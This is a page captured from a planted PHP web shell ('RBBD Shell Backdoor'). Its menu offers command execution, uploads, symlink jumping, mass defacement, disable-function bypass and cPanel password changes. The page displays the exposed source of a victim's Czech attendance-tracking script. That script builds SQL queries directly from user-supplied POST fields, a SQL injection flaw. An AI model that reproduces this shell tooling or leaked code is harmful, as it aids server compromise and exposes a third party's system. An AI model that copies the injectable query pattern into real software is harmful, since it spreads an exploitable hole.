⚜ RBBD Shell Backdoor ⚜
Current Dir
:
D:
/
php
/
dochazka
/
Home
Upload
Command
Config
Jumping
Symlink
Mass Deface
Bypass Disable Function
K-RDP 5H3LL
Adminer
Change Password cPanel
Zone-H
Current File : D:/php/dochazka/doch.php
<!doctype html> <html> <head> <meta http-equiv="Content-Language" content="cs"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta name="generator" content="Test docházka, Ladislav Müllner"> <meta name="geo.country" content="cz" /> <meta name="copyright" content="© 2014 Ladislav Müllner. All rights reserved." /> <link rel="stylesheet" href="style.css" type="text/css"> <title>Test docházka</title> <script language="JavaScript"> <!-- function hodiny() { datum = new Date(); document.all.hodiny.innerHTML=datum.getHours()+":"; if (datum.getMinutes()<10) document.all.hodiny.innerHTML+="0"; document.all.hodiny.innerHTML+=datum.getMinutes()+":"; if (datum.getSeconds()<10) document.all.hodiny.innerHTML+="0"; document.all.hodiny.innerHTML+=datum.getSeconds(); window.setTimeout("hodiny();", datum.getMilliseconds()%1000); } // --> </script> </head> <body onLoad="hodiny();"> <div ID="hodiny"></div><br/> <?php do{ include "./config/db.php"; include "config.php"; include "prescas.php"; include "funkce.php"; $tabulka = "mullner_ladislav"; $hlaska01 = "Müllner Ladislav"; if(!@mysql_connect($server,$user,$password)) {echo "<h3>Nepodařilo se připojit k MySQL.</h3>\n"; break;} if(!@mysql_select_db($databaze)) {echo "<h3>Nepodařilo se připojit k databázi $databaze.</h3>\n"; break;} mysql_query("set names 'utf8'"); /* zpracování dat */ if(!$data=mysql_query("select * from $tabulka")) {echo "<h3>Nepodařilo se připojit k tabulce $hlaska01.</h3>\n"; break;} /* //vypis pozadovaneho formatu print $days[ $date['wday'] ] . ', ' . $date['mday'] . '.' . $months[$date['mon']]; */ class Ccolor { var $wday_txt = "#bbbbdd"; var $wend_txt = "#ddbbbb"; var $wday = "#ccccee"; var $wend = "#eecccc"; var $wday_noact = "#9090a6"; var $normal1 = "#a69090"; var $normal = "#ffffff"; //White var $svatek = "#8B0000"; //DarkRed var $dnes = "#f0e68c"; //Khaki } // objekt $color = new Ccolor (); $datumdnes = date ("d-m-Y", time()); print "Dneska je : "; print " ".$den.", ".$datumdnes; echo "<br>"; print "měsíc ".cesky_mesic(date("n"))." má ".$dnivmesici." dnů"; echo "<br><br>"; if(!$data=mysql_query("select * from $tabulka where datum='$datum'")) {echo "Nepodařilo se načíst záznam k editaci";} else { $zaznam=mysql_fetch_array($data); $id = $zaznam["id"]; $jmeno = $zaznam["jmeno"]; $starth = $zaznam["starth"]; $startm = $zaznam["startm"]; $endh = $zaznam["endh"]; $endm = $zaznam["endm"]; $prichod = $zaznam["prichod"]; $odchod = $zaznam["odchod"]; $prichodprescas = $zaznam["prichodprescas"]; $dataprichodprescas = $prichodprescas; $odchodprescas = $zaznam["odchodprescas"]; $dataodchodprescas = $odchodprescas; $prescas = $zaznam["prescas"]; $dataprescas = $prescas; $dovolena = $zaznam["dovolena"]; $nemoc = $zaznam["nemoc"]; $nahrady = $zaznam["nahrady"]; $odkaz = $zaznam["odkaz"]; } if(isset($_POST["1"])) { /* formulář byl odeslán -> zpracování dat příchodu*/ $prichodh = date("H", time()); $prichodm = date("i", time()); $prichod = $prichodh.":".$prichodm; $datum = date ("Y-m-d", time()); $mesic = $months[$date['mon']]; $month = date('m'); $tyden = date('W'); $den = $days[ $date['wday']]; $day = date('d'); //provedení kontroly dat $kontrola = true; if($prichodh == "") {echo "<h3>Nebyla zadána hodina příchodu</h3>\n"; $kontrola = false;} if($prichodm == "") {echo "<h3>Nebyla zadána minuta příchodu</h3>\n"; $kontrola = false;} //když je kontrola true -> uložení změny dat if($kontrola) { if(!$data = mysql_query("insert into $tabulka (prichod, datum, mesic, month, tyden, den, day, rok) values ('$prichod', '$datum', '$mesic', '$month', '$tyden', '$den', '$day', '$rok')")) {echo "<h3>Příchozí čas nebyl uložen, opakujte prosím později</h3>\n";} else {echo "<h3>Příchozí čas $prichod byl úspěšně uložen.</h3><br/>\n"; } } } if(isset($_POST["2"])) { /* formulář byl odeslán -> zpracování dat odchodu */ $dataprichodprescas = $prichodprescas; $dataodchodprescas = $odchodprescas; $prichod = $_POST['prichod']; $odchodh = date("H", time()); $odchodm = date("i", time());$_POST['odchodm']; $odchod = $odchodh.":".$odchodm; $prichodprescas = "15:00"; $odchodprescas = $odchod; $datum = date ("Y-m-d", time()); //zameškaný příchod if ($prichod > "07") echo "pozdní příchod !!!"; else echo "příchod OK"; echo "<br>"; //předčasný odchod if (($odchodh < "15") && ($odchodm >= "00")) echo "předčasný odchod !!!"; else echo "odchod OK"; echo "<br>"; $sek = strtotime($odchod)-strtotime($prichod); //poslední příchod odečteme od odchodu $min=floor($sek/60); $sek=$sek%60; $hod=floor($min/60); $min=$min%60; $dni=floor($hod/24); $hod=$hod%24; $cas = ($hod*60)+$min; //celková pracovní doba v minutách //zápočet pracovní doby vždy 08:00 if ($hod >= 8) $cas = "08:00"; else $cas = $hod.":".$min; print "prichod zapocet: "; print $prichod; echo "<br>"; print "odchod zapocet: "; print $odchodh.":".$odchodm; echo "<br>"; //odpracovaná doba //$cas = vsprintf('%1$02d:%2$02d', explode(':', $cas)); print "odpracovano: "; print $cas; if ($hod < 8) {echo " CHYBA, malo hodin"; } else echo " OK"; echo "<br>"; //počítání hodin navíc po 15:00 hodině $seknavic = strtotime($odchod)-strtotime("15:00"); //čas navíc po 15:00 hodině odečteme od odchodu $minnavic=floor($seknavic/60); $seknavic=$seknavic%60; $hodnavic=floor($minnavic/60); $minnavic=$minnavic%60; $dninavic=floor($hodnavic/24); $hodnavic=$hodnavic%24; if ($minnavic >= "30") $minnavic = "30"; //započítává se jen 30 minut else $minnavic = "00"; if ($hodnavic < 1 and $minnavic < "30") $hodinnavic = ""; else $hodinnavic = $hodnavic.":".$minnavic; //celková doba navíc po 15 hodině if ($hodinnavic == "") { //provedení kontroly dat $kontrola = true; if($odchodh == "") {echo "<h3>Nebyla zadána hodina odchodu</h3>\n"; $kontrola = false;} if($odchodm == "") {echo "<h3>Nebyla zadána minuta odchodu</h3>\n"; $kontrola = false;} //když je kontrola true -> uložení změny dat if($kontrola) { if(!$data = mysql_query("update $tabulka set odchod='$odchod', odprhodin='$cas' where datum LIKE '$datum'")) {echo "<h3>Odchozí čas nebyl uložen, opakujte prosím později</h3>\n";} else {echo "<h3>Odchozí čas $odchod byl úspěšně uložen.</h3><br/>\n"; } } } else { //provedení kontroly dat $kontrola = true; if($odchodh == "") {echo "<h3>Nebyla zadána hodina odchodu</h3>\n"; $kontrola = false;} if($odchodm == "") {echo "<h3>Nebyla zadána minuta odchodu</h3>\n"; $kontrola = false;} //když je kontrola true -> uložení změny dat if($kontrola) { if(!$data = mysql_query("update $tabulka set odchod='$odchod', odprhodin='$cas', hodinnavic='$hodinnavic' prichodprescas='$dataprichodprescas#$prichodprescas' odchodprescas='$dataodchodprescas#$odchodprescas' where datum LIKE '$datum'")) {echo "<h3>Odchozí čas nebyl uložen, opakujte prosím později</h3>\n";} else {echo "<h3>Odchozí čas $odchod byl úspěšně uložen.</h3><br/>\n"; } } } } if(isset($_POST["3"])) { /* formulář byl odeslán -> zpracování dat příchodu přesčas*/ $dataprichodprescas = $prichodprescas; $prichodprescash = date("H", time()); $prichodprescasm = date("i", time()); $prichodprescas = $prichodprescash.":".$prichodprescasm; $datum = date ("Y-m-d", time()); $vypis = mysql_query("select * from $tabulka WHERE datum='$datum'"); if(mysql_num_rows($vypis) != 0) { //provedení kontroly dat $kontrola = true; if($prichodprescas == "") {echo "<h3>Nebyl zadán čas příchodu přesčasu</h3>\n"; $kontrola = false;} //když je kontrola true -> uložení změny dat if($kontrola) { if(!$data = mysql_query("update $tabulka set prichodprescas='$dataprichodprescas#$prichodprescas' where datum LIKE '$datum'")) {echo "<h3>Příchozí čas přesčasu nebyl uložen, opakujte prosím později</h3>\n";} else {echo "<h3>Příchozí čas přesčasu $prichodprescas byl úspěšně uložen.</h3><br/>\n"; } } } else { $prichodh = "00"; $prichodm = "00"; $month = date('m'); $day = date('d'); $dataprichodprescas = "00:00"; //provedení kontroly dat $kontrola = true; if($prichodprescas == "") {echo "<h3>Nebyl zadán čas příchodu přesčasu</h3>\n"; $kontrola = false;} //když je kontrola true -> uložení změny dat if($kontrola) { if(!$data = mysql_query("insert into $tabulka (prichodh, prichodm, prichodprescas, datum, mesic, month, tyden, den, day, rok) values ('$prichodh', '$prichodm', '$dataprichodprescas#$prichodprescas', '$datum', '$mesic', '$month', '$tyden', '$den', '$day', '$rok')")) {echo "<h3>Příchozí čas přesčasu nebyl uložen, opakujte prosím později</h3>\n";} else {echo "<h3>Příchozí čas přesčasu $prichodprescas byl úspěšně uložen.</h3><br/>\n"; } } } } if(isset($_POST["4"])) { /* formulář byl odeslán -> zpracování dat odchodu přesčas*/ $dataodchodprescas = $odchodprescas; $dataprescas = $prescas; $prichodprescas = $_POST['prichodprescas']; $odchodprescash = date("H", time()); $odchodprescasm = date("i", time()); $odchodprescas = $odchodprescash.":".$odchodprescasm; $datum = date ("Y-m-d", time()); $prichodprescas = explode("#", $prichodprescas); //rozdělení počtu zápisů v příchodu $pole = count($prichodprescas); //zjištění počtu zápisů v příchodu $pole = $pole-1; ////počet zápisů - 1, pole začína nulou $sek = strtotime($odchodprescas)-strtotime($prichodprescas[$pole]); //poslední příchod odečteme od odchodu $min=floor($sek/60); $sek=$sek%60; $hod=floor($min/60); $min=$min%60; $dni=floor($hod/24); $hod=$hod%24; if ($min >= "30") $min = "30"; //započítává se jen 30 minut else $min = "0"; $prescas = ($hod*60)+$min; //celkový počet přesčasu v minutách //provedení kontroly dat $kontrola = true; if($odchodprescas == "") {echo "<h3>Nebyl zadán čas odchodu přesčasu</h3>\n"; $kontrola = false;} //if($prescas == "") {echo "<h3>Nebyl zadán celkový čas přesčasu</h3>\n"; $kontrola = false;} //když je kontrola true -> uložení změny dat if($kontrola) { if(!$data = mysql_query("update $tabulka set odchodprescas='$dataodchodprescas#$odchodprescas', prescas='$dataprescas#$prescas' where datum LIKE '$datum'")) {echo "<h3>Odchozí čas přesčasu nebyl uložen, opakujte prosím později</h3>\n";} else {echo "<h3>Odchozí čas přesčasu $odchodprescas byl úspěšně uložen.</h3><br/>\n"; } } } //echo "<table border='1' cellpadding='10px' style='table-layout: fixed; border-collapse: collapse;'>"; echo "<br/><br/>"; echo "<table border='1' cellpadding='5' cellspacing='3'>"; echo "<tr>"; echo "<th colspan='2' width='110px'><span class='den'>".$zaznam["den"]."</span> <span class='day'>".$zaznam["day"]."</span></th><th width='110px'>Příchod</th><th width='110px'>Odchod</th><th width='110px'>Příchod<br/>přesčas</th><th width='110px'>Odchod<br/>přesčas</th><th width='110px'>Dovolená</th><th width='110px'>Nemoc</th><th width='110px'>Ostatní<br/>náhrady</th>"; echo "</tr>"; $vypis = mysql_query("select * from $tabulka WHERE datum='$datum'"); if(mysql_num_rows($vypis) != 0) { while($zaznam=mysql_fetch_array($vypis)){ //svátky, soboty a neděle if ($zaznam["day"].$month == '011' or $zaznam["day"].$month == '015' or $zaznam["day"].$month == $velikonoce or $zaznam["den"] == 'Sobota' or $zaznam["den"] == 'Neděle') $bgcolor = $color->svatek; elseif ($zaznam["day"] == $day) $bgcolor = $color->dnes; else $bgcolor = $color->normal; if ($zaznam["day"] == $day) $bgcolor1 = $color->dnes; else $bgcolor1 = $color->normal; include "prescas.php"; $pocet = count($polep); //postupné načtení a výpis všech záznamů pomocí cyklu if ($zaznam["prichod"] <= 00) $prichod = ""; else $prichod = $zaznam["prichod"]; if ($zaznam["odchod"] <= 00) $odchod = ""; else $odchod = $zaznam["odchod"]; echo "<tr><td colspan='2' align='center'>Výpis dne</td>"; echo "<td bgcolor='$bgcolor1' align='center'>".$prichod."</td><td bgcolor='$bgcolor1' align='center'>".$odchod."</td>\n"; echo "<td bgcolor='$bgcolor1' align='center'>"; for ($i=1; $i<$pocet; $i++){echo $polep [$i]."<br>";} echo "</td>\n"; echo "<td bgcolor='$bgcolor1' align='center'>"; for ($i=1; $i<$pocet; $i++){echo $poleo [$i]."<br>";} echo "</td>\n"; echo "<td bgcolor='$bgcolor1' align='center'>"; if ($dovolena == "ano") echo "<input style='width: 10px;' type='checkbox' checked='checked' name='ano' disabled></td>\n"; else echo "<input style='width: 10px;' type='checkbox' name='$day' disabled></td>\n"; echo "<td bgcolor='$bgcolor1' align='center'>"; if ($nemoc == "ano") echo "<input style='width: 10px;' type='checkbox' checked='checked' name='ano' disabled></td>\n"; else echo "<input style='width: 10px;' type='checkbox' name='$day' disabled></td>\n"; echo "<td bgcolor='$bgcolor1' align='center'>"; if ($nahrady == "ano") echo "<input style='width: 10px;' type='checkbox' checked='checked' name='ano' disabled></td>\n"; else echo "<input style='width: 10px;' type='checkbox' name='$day' disabled></td></tr>\n"; } } else { //svátky, soboty a neděle if ('01'.$month == '011' or '01'.$month == '015' or '01'.$month == $velikonoce or $days[$prvniden[1]] == 'Sobota' or $days[$prvniden[1]] == 'Neděle') $bgcolor = $color->svatek; else $bgcolor = $color->normal; $bgcolor1 = $color->dnes; include "prescas.php"; echo "<tr><td colspan='2' align='center'>Výpis dne</td>"; echo "<td bgcolor='$bgcolor1'> </td><td bgcolor='$bgcolor1'> </td>\n"; echo "<td bgcolor='$bgcolor1' align='center'>"; for ($i=1; $i<$pocet; $i++){echo $polep [$i]."<br>";} echo "</td>\n"; echo "<td bgcolor='$bgcolor1' align='center'>"; for ($i=1; $i<$pocet; $i++){echo $poleo [$i]."<br>";} echo "</td>\n"; echo "<td bgcolor='$bgcolor1' align='center'>"; if ($dovolena == "ano") echo "<input style='width: 10px;' type='checkbox' checked='checked' name='ano' disabled></td>\n"; else echo "<input style='width: 10px;' type='checkbox' name='' disabled></td>\n"; echo "<td bgcolor='$bgcolor1' align='center'>"; if ($nemoc == "ano") echo "<input style='width: 10px;' type='checkbox' checked='checked' name='ano' disabled></td>\n"; else echo "<input style='width: 10px;' type='checkbox' name='' disabled></td>\n"; echo "<td bgcolor='$bgcolor1' align='center'>"; if ($nahrady == "ano") echo "<input style='width: 10px;' type='checkbox' checked='checked' name='ano' disabled></td>\n"; else echo "<input style='width: 10px;' type='checkbox' name='' disabled></td></tr>\n"; } echo "<tr>"; echo "<tr><td colspan='2' align='center'>Editace dne</td>"; /* zobrazení formuláře pro zadání nebo opravu dat příchod */ $vypis = mysql_query("select * from $tabulka WHERE datum='$datum'"); if(mysql_num_rows($vypis) != 0) echo "<td align='center'><input class='tlacitko' name='1' type='submit' value='Příchod' disabled></td>"; else { if(!isset($_POST["1"]) || !$kontrola) { /* stránka je zobrazena poprvé - formulář ještě nebyl odeslán, nebo data nebyla vyplněna v pořádku */ echo "<td align='center'>"; echo "<form action='' method='post'>"; echo "<input type='hidden' name='prichodh' value='' readonly>\n"; //předání id spolu s daty echo "<input type='hidden' name='prichodm' value='' readonly>\n"; //předání id spolu s daty echo "<input class='tlacitko' name='1' type='submit' value='Příchod'>"; echo "</form>"; echo "</td>"; } } /* zobrazení formuláře pro zadání nebo opravu dat odchod */ $vypis = mysql_query("select * from $tabulka WHERE datum='$datum'"); $zaznam = mysql_fetch_array($vypis); $prichod = $zaznam["prichod"]; if($zaznam["prichod"] <> "00:00" and $zaznam["odchod"] == "00:00") { if(!isset($_POST["2"]) || !$kontrola) { /* stránka je zobrazena poprvé - formulář ještě nebyl odeslán, nebo data nebyla vyplněna v pořádku */ echo "<td align='center'>"; echo "<form action='' method='post'>"; echo "<input type='hidden' name='prichod' value='$prichod' readonly>\n"; //předání id spolu s daty //echo "<input type='hidden' name='prichodm' value='$prichodm' readonly>\n"; //předání id spolu s daty echo "<input type='hidden' name='odchodh' value='' readonly>\n"; //předání id spolu s daty echo "<input type='hidden' name='odchodm' value='' readonly>\n"; //předání id spolu s daty echo "<input class='tlacitko' name='2' type='submit' value='Odchod'>"; echo "</form>"; echo "</td>"; } } else echo "<td align='center'><input class='tlacitko' name='2' type='submit' value='Odchod' disabled></td>"; /* zobrazení formuláře pro zadání nebo opravu dat příchod přesčas */ $vypis = mysql_query("select * from $tabulka WHERE datum='$datum'"); $zaznam = mysql_fetch_array($vypis); $pocetp = count($polep); //počet příchodů přesčas $poceto = count($poleo); //počet odchodů přesčas if(($zaznam["odchod"] <> "00:00") and ($zaznam["odchod"] <> "00:00")) { if ($pocetp == $poceto) { if(!isset($_POST["3"]) || !$kontrola) { /* stránka je zobrazena poprvé - formulář ještě nebyl odeslán, nebo data nebyla vyplněna v pořádku */ echo "<td align='center'>"; echo "<form action='' method='post'>"; echo "<input type='hidden' name='prichodprescash' value='' readonly>\n"; //předání id spolu s daty echo "<input type='hidden' name='prichodprescasm' value='' readonly>\n"; //předání id spolu s daty echo "<input class='tlacitko' name='3' type='submit' value='Příchod'>"; echo "</form>"; echo "</td>"; } } } else echo "<td align='center'><input class='tlacitko' name='3' type='submit' value='Příchod' disabled></td>"; /* zobrazení formuláře pro zadání nebo opravu dat odchod přesčas */ $vypis = mysql_query("select * from $tabulka WHERE datum='$datum'"); $pocetp = count($polep); //počet příchodů přesčas $poceto = count($poleo); //počet odchodů přesčas if ($pocetp <> $poceto) { if(!isset($_POST["4"]) || !$kontrola) { /* stránka je zobrazena poprvé - formulář ještě nebyl odeslán, nebo data nebyla vyplněna v pořádku */ $prichodprescas = $zaznam["prichodprescas"]; echo "<td align='center'>"; echo "<form action='' method='post'>"; echo "<input type='hidden' name='odchodprescash' value='' readonly>\n"; //předání id spolu s daty echo "<input type='hidden' name='odchodprescasm' value='' readonly>\n"; //předání id spolu s daty echo "<input type='hidden' name='prichodprescas' value='$prichodprescas' readonly>\n"; //předání id spolu s daty //echo "<input type='hidden' name='prichodprescasm' value='$prichodprescasm' readonly>\n"; //předání id spolu s daty echo "<input class='tlacitko' name='4' type='submit' value='Odchod'>"; echo "</form>"; echo "</td>"; } } else echo "<td align='center'><input class='tlacitko' name='4' type='submit' value='Odchod' disabled></td>"; /* zobrazení formuláře pro zadání nebo opravu dat dovolená */ if(!isset($_POST["5"]) || !$kontrola) { $month = date('m'); /* stránka je zobrazena poprvé - formulář ještě nebyl odeslán, nebo data nebyla vyplněna v pořádku */ echo "<td align='center'>"; echo "<a href='dovolena.php?month=$month&rok=$rok'><button>Dovolená</button></a>"; echo "</td>"; } if(!isset($_POST["5"]) || !$kontrola) { $month = date('m'); /* stránka je zobrazena poprvé - formulář ještě nebyl odeslán, nebo data nebyla vyplněna v pořádku */ echo "<td align='center'>"; echo "<a href='nemoc.php?month=$month&rok=$rok'><button>Nemoc</button></a>"; echo "</td>"; } if(!isset($_POST["5"]) || !$kontrola) { $month = date('m'); /* stránka je zobrazena poprvé - formulář ještě nebyl odeslán, nebo data nebyla vyplněna v pořádku */ echo "<td align='center'>"; echo "<a href='nahrady.php?month=$month&rok=$rok'><button>Náhrady</button></a>"; echo "</td>"; } echo "</tr>"; echo "</table>"; }while(false); //cyklus, který se provede jen jednou, ale umožňuje použít break ?> </body> </html>
Fighter Anas Private Shell V.1 -
Royal
Battler BD
Copyright © Fighter Anas